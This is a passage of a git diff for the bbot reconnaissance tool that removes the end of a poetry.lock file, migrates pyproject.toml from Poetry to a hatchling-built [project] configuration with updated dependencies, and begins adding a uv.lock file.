-    {file = "xxhash-3.6.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:653a91d7c2ab54a92c19ccf43508b6a555440b9be1bc8be553376778be7f20b5"},
-    {file = "xxhash-3.6.0-cp314-cp314-win32.whl", hash = "sha256:a756fe893389483ee8c394d06b5ab765d96e68fbbfe6fde7aa17e11f5720559f"},
-    {file = "xxhash-3.6.0-cp314-cp314-win_amd64.whl", hash = "sha256:39be8e4e142550ef69629c9cd71b88c90e9a5db703fecbcf265546d9536ca4ad"},
-    {file = "xxhash-3.6.0-cp314-cp314-win_arm64.whl", hash = "sha256:25915e6000338999236f1eb68a02a32c3275ac338628a7eaa5a269c401995679"},
-    {file = "xxhash-3.6.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:c5294f596a9017ca5a3e3f8884c00b91ab2ad2933cf288f4923c3fd4346cf3d4"},
-    {file = "xxhash-3.6.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1cf9dcc4ab9cff01dfbba78544297a3a01dafd60f3bde4e2bfd016cf7e4ddc67"},
-    {file = "xxhash-3.6.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:01262da8798422d0685f7cef03b2bd3f4f46511b02830861df548d7def4402ad"},
-    {file = "xxhash-3.6.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:51a73fb7cb3a3ead9f7a8b583ffd9b8038e277cdb8cb87cf890e88b3456afa0b"},
-    {file = "xxhash-3.6.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b9c6df83594f7df8f7f708ce5ebeacfc69f72c9fbaaababf6cf4758eaada0c9b"},
-    {file = "xxhash-3.6.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:627f0af069b0ea56f312fd5189001c24578868643203bca1abbc2c52d3a6f3ca"},
-    {file = "xxhash-3.6.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:aa912c62f842dfd013c5f21a642c9c10cd9f4c4e943e0af83618b4a404d9091a"},
-    {file = "xxhash-3.6.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:b465afd7909db30168ab62afe40b2fcf79eedc0b89a6c0ab3123515dc0df8b99"},
-    {file = "xxhash-3.6.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:a881851cf38b0a70e7c4d3ce81fc7afd86fbc2a024f4cfb2a97cf49ce04b75d3"},
-    {file = "xxhash-3.6.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:9b3222c686a919a0f3253cfc12bb118b8b103506612253b5baeaac10d8027cf6"},
-    {file = "xxhash-3.6.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:c5aa639bc113e9286137cec8fadc20e9cd732b2cc385c0b7fa673b84fc1f2a93"},
-    {file = "xxhash-3.6.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5c1343d49ac102799905e115aee590183c3921d475356cb24b4de29a4bc56518"},
-    {file = "xxhash-3.6.0-cp314-cp314t-win32.whl", hash = "sha256:5851f033c3030dd95c086b4a36a2683c2ff4a799b23af60977188b057e467119"},
-    {file = "xxhash-3.6.0-cp314-cp314t-win_amd64.whl", hash = "sha256:0444e7967dac37569052d2409b00a8860c2135cff05502df4da80267d384849f"},
-    {file = "xxhash-3.6.0-cp314-cp314t-win_arm64.whl", hash = "sha256:bb79b1e63f6fd84ec778a4b1916dfe0a7c3fdb986c06addd5db3a0d413819d95"},
-    {file = "xxhash-3.6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:7dac94fad14a3d1c92affb661021e1d5cbcf3876be5f5b4d90730775ccb7ac41"},
-    {file = "xxhash-3.6.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:6965e0e90f1f0e6cb78da568c13d4a348eeb7f40acfd6d43690a666a459458b8"},
-    {file = "xxhash-3.6.0-cp38-cp38-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:2ab89a6b80f22214b43d98693c30da66af910c04f9858dd39c8e570749593d7e"},
-    {file = "xxhash-3.6.0-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4903530e866b7a9c1eadfd3fa2fbe1b97d3aed4739a80abf506eb9318561c850"},
-    {file = "xxhash-3.6.0-cp38-cp38-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:4da8168ae52c01ac64c511d6f4a709479da8b7a4a1d7621ed51652f93747dffa"},
-    {file = "xxhash-3.6.0-cp38-cp38-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:97460eec202017f719e839a0d3551fbc0b2fcc9c6c6ffaa5af85bbd5de432788"},
-    {file = "xxhash-3.6.0-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:45aae0c9df92e7fa46fbb738737324a563c727990755ec1965a6a339ea10a1df"},
-    {file = "xxhash-3.6.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:0d50101e57aad86f4344ca9b32d091a2135a9d0a4396f19133426c88025b09f1"},
-    {file = "xxhash-3.6.0-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:9085e798c163ce310d91f8aa6b325dda3c2944c93c6ce1edb314030d4167cc65"},
-    {file = "xxhash-3.6.0-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:a87f271a33fad0e5bf3be282be55d78df3a45ae457950deb5241998790326f87"},
-    {file = "xxhash-3.6.0-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:9e040d3e762f84500961791fa3709ffa4784d4dcd7690afc655c095e02fff05f"},
-    {file = "xxhash-3.6.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:b0359391c3dad6de872fefb0cf5b69d55b0655c55ee78b1bb7a568979b2ce96b"},
-    {file = "xxhash-3.6.0-cp38-cp38-win32.whl", hash = "sha256:e4ff728a2894e7f436b9e94c667b0f426b9c74b71f900cf37d5468c6b5da0536"},
-    {file = "xxhash-3.6.0-cp38-cp38-win_amd64.whl", hash = "sha256:01be0c5b500c5362871fc9cfdf58c69b3e5c4f531a82229ddb9eb1eb14138004"},
-    {file = "xxhash-3.6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:cc604dc06027dbeb8281aeac5899c35fcfe7c77b25212833709f0bff4ce74d2a"},
-    {file = "xxhash-3.6.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:277175a73900ad43a8caeb8b99b9604f21fe8d7c842f2f9061a364a7e220ddb7"},
-    {file = "xxhash-3.6.0-cp39-cp39-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:cfbc5b91397c8c2972fdac13fb3e4ed2f7f8ccac85cd2c644887557780a9b6e2"},
-    {file = "xxhash-3.6.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2762bfff264c4e73c0e507274b40634ff465e025f0eaf050897e88ec8367575d"},
-    {file = "xxhash-3.6.0-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2f171a900d59d51511209f7476933c34a0c2c711078d3c80e74e0fe4f38680ec"},
-    {file = "xxhash-3.6.0-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:780b90c313348f030b811efc37b0fa1431163cb8db8064cf88a7936b6ce5f222"},
-    {file = "xxhash-3.6.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:18b242455eccdfcd1fa4134c431a30737d2b4f045770f8fe84356b3469d4b919"},
-    {file = "xxhash-3.6.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:a75ffc1bd5def584129774c158e108e5d768e10b75813f2b32650bb041066ed6"},
-    {file = "xxhash-3.6.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:1fc1ed882d1e8df932a66e2999429ba6cc4d5172914c904ab193381fba825360"},
-    {file = "xxhash-3.6.0-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:44e342e8cc11b4e79dae5c57f2fb6360c3c20cc57d32049af8f567f5b4bcb5f4"},
-    {file = "xxhash-3.6.0-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:c2f9ccd5c4be370939a2e17602fbc49995299203da72a3429db013d44d590e86"},
-    {file = "xxhash-3.6.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:02ea4cb627c76f48cd9fb37cf7ab22bd51e57e1b519807234b473faebe526796"},
-    {file = "xxhash-3.6.0-cp39-cp39-win32.whl", hash = "sha256:6551880383f0e6971dc23e512c9ccc986147ce7bfa1cd2e4b520b876c53e9f3d"},
-    {file = "xxhash-3.6.0-cp39-cp39-win_amd64.whl", hash = "sha256:7c35c4cdc65f2a29f34425c446f2f5cdcd0e3c34158931e1cc927ece925ab802"},
-    {file = "xxhash-3.6.0-cp39-cp39-win_arm64.whl", hash = "sha256:ffc578717a347baf25be8397cb10d2528802d24f94cfc005c0e44fef44b5cdd6"},
-    {file = "xxhash-3.6.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0f7b7e2ec26c1666ad5fc9dbfa426a6a3367ceaf79db5dd76264659d509d73b0"},
-    {file = "xxhash-3.6.0-pp311-pypy311_pp73-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:5dc1e14d14fa0f5789ec29a7062004b5933964bb9b02aae6622b8f530dc40296"},
-    {file = "xxhash-3.6.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:881b47fc47e051b37d94d13e7455131054b56749b91b508b0907eb07900d1c13"},
-    {file = "xxhash-3.6.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c6dc31591899f5e5666f04cc2e529e69b4072827085c1ef15294d91a004bc1bd"},
-    {file = "xxhash-3.6.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:15e0dac10eb9309508bfc41f7f9deaa7755c69e35af835db9cb10751adebc35d"},
-    {file = "xxhash-3.6.0.tar.gz", hash = "sha256:f0162a78b13a0d7617b2845b90c763339d1f1d82bb04a4b07f4ab535cc5e05d6"},
-]
-
-[[package]]
-name = "yara-python"
-version = "4.5.2"
-description = "Python interface for YARA"
-optional = false
-python-versions = "*"
-groups = ["main"]
-files = [
-    {file = "yara_python-4.5.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:20aee068c8f14e8ebb40ebf03e7e2c14031736fbf6f32fca58ad89d211e4aaa0"},
-    {file = "yara_python-4.5.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:9899c3a80e6c543585daf49c5b06ba5987e2f387994a5455d841262ea6e8577c"},
-    {file = "yara_python-4.5.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9fc5abddf8767ca923a5a88b38b8057d4fab039323d5c6b2b5be6cba5e6e7350"},
-    {file = "yara_python-4.5.2-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bc2216bc73d4918012a4b270a93f9042445c7246b4a668a1bea220fbf64c7990"},
-    {file = "yara_python-4.5.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b5558325eb7366f610a06e8c7c4845062d6880ee88f1fbc35e92fae333c3333c"},
-    {file = "yara_python-4.5.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f2a293e30484abb6c137d9603fe899dfe112c327bf7a75e46f24737dd43a5e44"},
-    {file = "yara_python-4.5.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:2ff1e140529e7ade375b3c4c2623d155c93438bd56c8e9bebce30b1d0831350d"},
-    {file = "yara_python-4.5.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:399f484847d5cb978f3dd522d3c0f20cbf36fe760d90be7aaeb5cf0e82947742"},
-    {file = "yara_python-4.5.2-cp310-cp310-win32.whl", hash = "sha256:ef499e273d12b0119fc59b396a85f00d402b103c95b5a4075273cff99f4692df"},
-    {file = "yara_python-4.5.2-cp310-cp310-win_amd64.whl", hash = "sha256:dd54d92c8fe33cc7cd7b8b29ac8ac5fdb6ca498c5a697af479ff31a58258f023"},
-    {file = "yara_python-4.5.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:727d3e590f41a89bbc6c1341840a398dee57bc816b9a17f69aed717f79abd5af"},
-    {file = "yara_python-4.5.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b5657c268275a025b7b2f2f57ea2be0b7972a104cce901c0ac3713787eea886e"},
-    {file = "yara_python-4.5.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d4bcfa3d4bda3c0822871a35dd95acf6a0fe1ab2d7869b5ae25b0a722688053a"},
-    {file = "yara_python-4.5.2-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0d6d7e04d1f5f64ccc7d60ff76ffa5a24d929aa32809f20c2164799b63f46822"},
-    {file = "yara_python-4.5.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d487dcce1e9cf331a707e16a12c841f99071dcd3e17646fff07d8b3da6d9a05c"},
-    {file = "yara_python-4.5.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:f8ca11d6877d453f69987b18963398744695841b4e2e56c2f1763002d5d22dbd"},
-    {file = "yara_python-4.5.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:f1f009d99e05f5be7c3d4e349c949226bfe32e0a9c3c75ff5476e94385824c26"},
-    {file = "yara_python-4.5.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:96ead034a1aef94671ea92a82f1c2db6defa224cf21eb5139cff7e7345e55153"},
-    {file = "yara_python-4.5.2-cp311-cp311-win32.whl", hash = "sha256:7b19ac28b3b55134ea12f1ee8500d7f695e735e9bead46b822abec96f9587f06"},
-    {file = "yara_python-4.5.2-cp311-cp311-win_amd64.whl", hash = "sha256:a699917ea1f3f47aecacd8a10b8ee82137205b69f9f29822f839a0ffda2c41a1"},
-    {file = "yara_python-4.5.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:037be5f9d5dd9f067bbbeeac5d311815611ba8298272a14b03d7ad0f42b36f5a"},
-    {file = "yara_python-4.5.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:77c8192f56e2bbf42b0c16cd1c368ba7083047e5b11467c8b3d6330d268e1f86"},
-    {file = "yara_python-4.5.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0e892b2111122552f0645bc1a55f2525117470eea3b791d452de12ae0c1ec37b"},
-    {file = "yara_python-4.5.2-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f16d9b23f107fd0569c676ec9340b24dd5a2a2a239a163dcdeaed6032933fb94"},
-    {file = "yara_python-4.5.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8b98e0a77dc0f90bc53cf77cca1dc1a4e6836c7c5a283198c84d5dbb0701e722"},
-    {file = "yara_python-4.5.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d6366d197079848d4c2534f07bc47f8a3c53d42855e6a492ed2191775e8cd294"},
-    {file = "yara_python-4.5.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:a2ba9fddafe573614fc8e77973f07e74a359bd1f3a6152f93b814a6f8cfc0004"},
-    {file = "yara_python-4.5.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3338f492e9bb655381dbf7e526201c1331d8c1e3760f1b06f382d901cc10cdf0"},
-    {file = "yara_python-4.5.2-cp312-cp312-win32.whl", hash = "sha256:9d066da7f963f4a68a2681cbe1d7c41cb1ef2c5668de3a756731b1a7669a3120"},
-    {file = "yara_python-4.5.2-cp312-cp312-win_amd64.whl", hash = "sha256:fe5b4c9c5cb48526e8f9c67fc1fdafb9dbd9078a27d89af30de06424c8c67588"},
-    {file = "yara_python-4.5.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ffc3101354188d23d00b831b0d070e2d1482a60d4e9964452004276f7c1edee8"},
-    {file = "yara_python-4.5.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0c7021e6c4e34b2b11ad82de330728134831654ca1f5c24dcf093fedc0db07ae"},
-    {file = "yara_python-4.5.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c73009bd6e73b04ffcbc8d47dddd4df87623207cb772492c516e16605ced5dd6"},
-    {file = "yara_python-4.5.2-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ef7f592db5e2330efd01b40760c3e2be5de497ff22bd6d12e63e9cf6f37b4213"},
-    {file = "yara_python-4.5.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e5980d96ac2742e997e55ba20d2746d3a42298bbb5e7d327562a01bac70c9268"},
-    {file = "yara_python-4.5.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e857bc94ef54d5db89e0a58652df609753d5b95f837dde101e1058dd755896b5"},
-    {file = "yara_python-4.5.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:98b4732a9f5b184ade78b4675501fbdc4975302dc78aa3e917c60ca4553980d5"},
-    {file = "yara_python-4.5.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:57928557c85af27d27cca21de66d2070bf1860de365fb18fc591ddfb1778b959"},
-    {file = "yara_python-4.5.2-cp313-cp313-win32.whl", hash = "sha256:d7b58296ed2d262468d58f213b19df3738e48d46b8577485aecca0edf703169f"},
-    {file = "yara_python-4.5.2-cp313-cp313-win_amd64.whl", hash = "sha256:2f6ccde3f30d0c3cda9a86e91f2a74073c9aeb127856d9a62ed5c4bb22ccd75f"},
-    {file = "yara_python-4.5.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:ba81f3bfba7cd7aa7bf97840eba7e2bb3d9f643090e47cbc03b2070e4f44568f"},
-    {file = "yara_python-4.5.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6cbb9ded3d6dd981cb1f1a7e01b12efd260548bc2f27bf29e9dbeca1ab241363"},
-    {file = "yara_python-4.5.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1cb760bb5aaa9c37e0e43b64cccfb7ff1a5ae584392661ebd82a50b758ea2d86"},
-    {file = "yara_python-4.5.2-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:96b22ae1651f8fd2eb61d0d140daa71dce4346137124abead0bb15c47b1259ec"},
-    {file = "yara_python-4.5.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e96c6cdf2284077ae039832481046806cd2b0c42c45d160da567dd0cc5673f3"},
-    {file = "yara_python-4.5.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:475fb16f33767c8c048cf009cdf307688b4ed961cf29fc28b2a020c3469e4cba"},
-    {file = "yara_python-4.5.2-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:c195d69253681751d75c6f79c88f57ebf5cc547821bdcba89fa29466356f241b"},
-    {file = "yara_python-4.5.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:8cc49f5543398b48e6bcf20c6a93a34ebe6732b8ff1e55918c8908a4a6cfeaf8"},
-    {file = "yara_python-4.5.2-cp39-cp39-win32.whl", hash = "sha256:2ccd788c8103f43c58d4072f696ee7b7e5be6c19bbce32f9f8e5d7b7def3ecd4"},
-    {file = "yara_python-4.5.2-cp39-cp39-win_amd64.whl", hash = "sha256:ab8d75dc181b915ca7eb8eb1c3f66597286436820122f84ae9f07a7b98f256fc"},
-    {file = "yara_python-4.5.2.tar.gz", hash = "sha256:9086a53c810c58740a5129f14d126b39b7ef61af00d91580c2efb654e2f742ce"},
-]
-
-[[package]]
-name = "zipp"
-version = "3.23.0"
-description = "Backport of pathlib-compatible object wrapper for zip files"
-optional = false
-python-versions = ">=3.9"
-groups = ["docs"]
-files = [
-    {file = "zipp-3.23.0-py3-none-any.whl", hash = "sha256:071652d6115ed432f5ce1d34c336c0adfd6a884660d1e9712a256d3d3bd4b14e"},
-    {file = "zipp-3.23.0.tar.gz", hash = "sha256:a07157588a12518c9d4034df3fbbee09c814741a33ff63c05fa29d26a2404166"},
-]
-
-[package.extras]
-check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\""]
-cover = ["pytest-cov"]
-doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"]
-enabler = ["pytest-enabler (>=2.2)"]
-test = ["big-O", "jaraco.functools", "jaraco.itertools", "jaraco.test", "more_itertools", "pytest (>=6,!=8.1.*)", "pytest-ignore-flaky"]
-type = ["pytest-mypy"]
-
-[metadata]
-lock-version = "2.1"
-python-versions = ">=3.10,<3.14"
-content-hash = "ea992e8acf4fab4a8256942c14a07a32097115bfd400dc160fb4b550184ff361"
diff --git a/pyproject.toml b/pyproject.toml
index c868b2a37a..11db74f151 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,99 +1,107 @@
-[tool.poetry]
+[project]
 name = "bbot"
-version = "2.8.6"
+version = "3.0.0"
 description = "OSINT automation for hackers."
+readme = "README.md"
+license = "AGPL-3.0"
+requires-python = ">=3.10,<3.15"
 authors = [
-    "TheTechromancer",
-    "Paul Mueller",
+    { name = "TheTechromancer" },
+    { name = "Paul Mueller" },
 ]
-license = "GPL-3.0"
-readme = "README.md"
-repository = "https://github.com/blacklanternsecurity/bbot"
-homepage = "https://github.com/blacklanternsecurity/bbot"
-documentation = "https://www.blacklanternsecurity.com/bbot/"
 keywords = ["python", "cli", "automation", "osint", "threat-intel", "intelligence", "neo4j", "scanner", "python-library", "hacking", "recursion", "pentesting", "recon", "command-line-tool", "bugbounty", "subdomains", "security-tools", "subdomain-scanner", "osint-framework", "attack-surface", "subdomain-enumeration", "osint-tool"]
 classifiers = [
     "Operating System :: POSIX :: Linux",
     "Topic :: Security",
 ]
+dependencies = [
+    "pip",
+    "psutil>=5.9.4,<8.0.0",
+    "wordninja>=2.0.0,<3",
+    "ansible-runner>=2.3.2,<3",
+    "deepdiff>=8.0.0,<10",
+    "xmltojson>=2.0.2,<3",
+    "pycryptodome>=3.17,<4",
+    "idna>=3.4,<4",
+    "tabulate==0.8.10",
+    "websockets>=14.0.0,<17.0.0",
+    "pyjwt>=2.7.0,<3",
+    "beautifulsoup4>=4.12.2,<5",
+    "lxml>=4.9.2,<7.0.0",
+    "dnspython>=2.7.0,<2.9.0",
+    "cachetools>=5.3.2,<8.0.0",
+    "socksio>=1.0.0,<2",
+    "jinja2>=3.1.3,<4",
+    "regex>=2024.4.16,<2027.0.0",
+    "unidecode>=1.3.8,<2",
+    "mmh3>=4.1,<6.0",
+    "xxhash>=3.5.0,<4",
+    "setproctitle>=1.3.3,<2",
+    "yara-python>=4.5.4,<5",
+    "pyzmq>=26.0.3,<28.0.0",
+    "puremagic>=1.28,<2",
+    "pydantic>=2.12.2,<3",
+    "pyyaml>=6.0.0,<7",
+    "radixtarget>=4.0.1,<5",
+    "asndb>=1.1.0",
+    "orjson>=3.10.12,<4",
+    "ansible-core>=2.17,<3",
+    "tldextract>=5.3.0,<6",
+    "cloudcheck>=11.1.0,<12",
+    "blasthttp>=0.9.0",
+    "blastdns>=1.9.0,<2",
+    "zstandard>=0.22,<1",
+]
 
-[tool.poetry.urls]
-"Discord" = "https://discord.com/invite/PZqkgxu5SA"
+[project.urls]
+Repository = "https://github.com/blacklanternsecurity/bbot"
+Homepage = "https://github.com/blacklanternsecurity/bbot"
+Documentation = "https://www.blacklanternsecurity.com/bbot/"
+Discord = "https://discord.com/invite/PZqkgxu5SA"
 "Docker Hub" = "https://hub.docker.com/r/blacklanternsecurity/bbot"
 
-[tool.poetry.scripts]
-bbot = 'bbot.cli:main'
+[project.scripts]
+bbot = "bbot.cli:main"
 
-[tool.poetry.dependencies]
-python = ">=3.10,<3.14"
-omegaconf = "^2.3.0"
-psutil = ">=5.9.4,<8.0.0"
-wordninja = "^2.0.0"
-ansible-runner = "^2.3.2"
-deepdiff = "^8.6.2"
-xmltojson = "^2.0.2"
-pycryptodome = "^3.17"
-idna = "^3.15"
-tabulate = "0.8.10"
-websockets = ">=14.0.0,<16.0.0"
-pyjwt = ">=2.12.0,<2.13"
-beautifulsoup4 = "^4.12.2"
-lxml = ">=6.1.0,<7.0.0"
-dnspython = ">=2.7.0,<2.8.0"
-cachetools = ">=5.3.2,<7.0.0"
-socksio = "^1.0.0"
-jinja2 = "^3.1.3"
-regex = ">=2024.4.16,<2027.0.0"
-unidecode = "^1.3.8"
-mmh3 = ">=4.1,<6.0"
-xxhash = "^3.5.0"
-setproctitle = "^1.3.3"
-yara-python = "4.5.2"
-pyzmq = ">=26.0.3,<28.0.0"
-httpx = "^0.28.1"
-puremagic = "^1.28"
-pydantic = "^2.9.2"
-radixtarget = "^3.0.13"
-orjson = "^3.11.6"
-ansible-core = "^2.16.13"
-tldextract = "^5.3.0"
-cloudcheck = "^9.2.0"
-tornado = ">=6.5.6"
-cryptography = ">=46.0.7"
-filelock = ">=3.20.3"
-requests = ">=2.33.0"
-Pygments = ">=2.20.0"
-starlette = ">=1.0.1"
+[dependency-groups]
+dev = [
+    "urllib3>=2.0.2,<3",
+    "werkzeug>=2.3.4,<4.0.0",
+    "pytest-env>=0.8.2,<1.7.0",
+    "pre-commit>=3.4,<5.0",
+    "pytest-cov>=5,<8",
+    "pytest-rerunfailures>=14,<17",
+    "pytest-timeout>=2.3.1,<3",
+    "pytest-httpserver>=1.0.11,<2",
+    "pytest>=8.3.1,<10",
+    "pytest-asyncio==1.4.0",
+    "uvicorn>=0.32,<0.50",
+    "fastapi>=0.115.5,<0.139.0",
+    "pytest-httpx>=0.35",
+    "pytest-benchmark>=4,<6",
+    "baddns~=2.4.1",
+    "ruff==0.15.20",
+    "maturin>=1.4,<2",
+]
+docs = [
+    "mkdocs>=1.5.2,<2",
+    "mkdocs-extra-sass-plugin>=0.1.0,<1",
+    "mkdocs-material>=9.2.5,<10",
+    "mkdocs-material-extensions>=1.1.1,<2",
+    "mkdocstrings>=0.22,<1.1",
+    "mkdocstrings-python>=2.0.0,<3",
+    "griffe>=1,<3",
+    "livereload>=2.6.3,<3",
+    "mike>=2.1.3,<3",
+    "pymdown-extensions>=10.20.1,<11",
+]
 
-[tool.poetry.group.dev.dependencies]
-poetry-dynamic-versioning = ">=0.21.4,<1.11.0"
-urllib3 = "^2.7.0"
-werkzeug = ">=2.3.4,<4.0.0"
-pytest-env = ">=0.8.2,<1.2.0"
-pre-commit = ">=3.4,<5.0"
-pytest-cov = ">=5,<8"
-pytest-rerunfailures = ">=14,<17"
-pytest-timeout = "^2.3.1"
-pytest-httpserver = "^1.0.11"
-pytest = "^9.0.3"
-pytest-asyncio = ">=1.2.0"
-uvicorn = ">=0.32,<0.40"
-fastapi = ">=0.133.0,<0.138.0"
-pytest-httpx = ">=0.35"
-pytest-benchmark = ">=4,<6"
-ruff = "0.15.4"
-pymdown-extensions = "^10.21.3"
-griffe = "^1"
+[build-system]
+requires = ["hatchling"]
+build-backend = "hatchling.build"
 
-[tool.poetry.group.docs.dependencies]
-mkdocs = "^1.5.2"
-mkdocs-extra-sass-plugin = "^0.1.0"
-mkdocs-material = "^9.2.5"
-mkdocs-material-extensions = "^1.1.1"
-mkdocstrings = ">=0.22,<0.31"
-mkdocstrings-python = "^1.6.0"
-livereload = "^2.6.3"
-mike = "^2.1.3"
+[tool.hatch.build.targets.wheel]
+packages = ["bbot"]
 
 [tool.pytest.ini_options]
 env = [
@@ -112,24 +120,15 @@ warmup_iterations = 3
 disable_gc = true
 min_rounds = 5
 
-[build-system]
-requires = ["poetry-core>=1.0.0", "poetry-dynamic-versioning"]
-build-backend = "poetry_dynamic_versioning.backend"
-
 [tool.codespell]
 ignore-words-list = "bu,cna,couldn,dialin,nd,ned,thirdparty"
 skip = "./docs/javascripts/vega*.js,./bbot/wordlists/*"
 
 [tool.ruff]
 line-length = 119
+# force-exclude makes the format.exclude below apply even when the file is passed explicitly to ruff.
+# Without this, `ruff format path/to/test_manager_*.py` will reformat anyway and re-expand the file.
+force-exclude = true
 format.exclude = ["bbot/test/test_step_1/test_manager_*"]
 lint.select = ["E", "F"]
 lint.ignore = ["E402", "E711", "E713", "E721", "E741", "F403", "F405", "E501"]
-
-[tool.poetry-dynamic-versioning]
-enable = true
-metadata = false
-format-jinja = 'v2.8.6{% if branch == "dev" %}.{{ distance }}rc{% endif %}'
-
-[tool.poetry-dynamic-versioning.substitution]
-files = ["*/__init__.py"]
diff --git a/uv.lock b/uv.lock
new file mode 100644
index 0000000000..d2f4648c01
--- /dev/null
+++ b/uv.lock
